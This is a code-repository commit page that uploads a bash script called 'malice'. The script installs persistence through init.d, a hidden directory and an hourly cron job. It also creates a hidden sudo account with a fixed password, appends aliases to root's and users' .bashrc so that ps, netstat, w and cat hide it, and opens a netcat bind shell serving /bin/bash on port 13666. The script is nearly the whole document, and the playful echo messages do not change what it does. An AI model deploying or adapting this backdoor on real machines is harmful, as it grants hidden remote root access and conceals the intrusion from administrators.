UNCLASSIFIED

Skip to content
Snippets Groups Projects
Commit 43632547 authored by Brandee Lymoncollins's avatar Brandee Lymoncollins
Browse files

Upload New File

parent ebabc653
Branches master
No related merge requests found
#!/bin/bash
if [ $(/bin/ls -latr /etc/init.d/ | grep malice | wc -l ) = 0 ]; then
echo "Not a morning person?"
sudo cp /.malice/malice.sh /etc/init.d/.malice
sudo chmod 755 /etc/init.d/.malice
echo "Rise and shine!"
echo "Wake up with a hot cup of coffee and a little bit of..."
/bin/ls -latr /etc/init.d/ | grep malice
else
echo "Mmm... that's a nice cup of malice"
if [ $(/bin/ls -latr / | grep malice | wc -l ) = 0 ]; then
echo "Poor homeless Alice"
sudo mkdir /.malice
echo "Come on in"
sudo cp /etc/init.d/.malice /.malice/malice.sh
sudo chmod 755 /.malice/malice.sh
echo "Make yourself at home"
/bin/ls -latr /.malice | grep malice
else
echo "Home, sweet home"
if [ $(/bin/ls -latr /etc/cron.hourly/ | grep malice | wc -l ) = 0 ]; then
echo "What time is it?"
sudo echo "#!/bin/bash" > /etc/cron.hourly/.malice.cron
sudo echo "/.malice/malice.sh" > /etc/cron.hourly/.malice.cron
sudo chmod 755 /etc/cron.hourly/.malice.cron
echo "It's time for some..."
/bin/ls -latr /etc/cron.hourly/ | grep malice
else
echo "Right on schedule"
if [ $(/bin/cat /etc/passwd | grep m.alice | wc -l ) = 0 ]; then
echo "Alice doesn't live here anymore"
sudo useradd -g sudo -s /bin/bash -d /.malice -p $(echo malice | openssl passwd -1 -stdin) m.alice
echo "Knock knock!"
echo "Who's there?"
/bin/cat /etc/passwd | grep m.alice
else
echo "Alice is already here"
fi
if [ $(sudo /bin/cat /root/.bashrc | grep Alice | wc -l) = 0 ]; then
echo "root put Alice in a corner"
tail -n 10 /.malice/malice > /.malice/alias
sudo /bin/cat /.malice/alias >> /root/.bashrc
for file in $(ls -d /home/useraccounts/*/.bashrc); do sudo /bin/cat /.malice/alias >> "$file" ; done
echo "Nobody puts Alice in a corner"
else
sudo /bin/cat /root/.bashrc | grep Alice
fi
if [ $(which netcat) = 0 ]; then
echo "Here kitty kitty kitty"
sudo apt-get install -y netcat
else
echo "Good kitty."
fi
if [ $(sudo /bin/netstat -auntp | grep "13666" | wc -l) = 0 ]; then
echo "Letting the cat in"
sudo /bin/netcat -knlvp 13666 -e /bin/bash &
else
echo "Hello kitty"
fi
#Malicious Alice back at it again with the white Vans
alias malice="echo 'Malicious Alice is in your house, eating your chips'"
alias ps='f(){ ps "$@" | grep -v netcat | grep -v m.alice ; unset -f f; }; f'
alias netstat='f(){ netstat "$@" | grep -v 13666 ; unset -f f; }; f'
alias w='f(){ w "$@" | grep -v m.alice ; unset -f f; }; f'
alias cat='f(){ cat "$@" | grep -v m.alice ; unset -f f; }; f'
0% or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment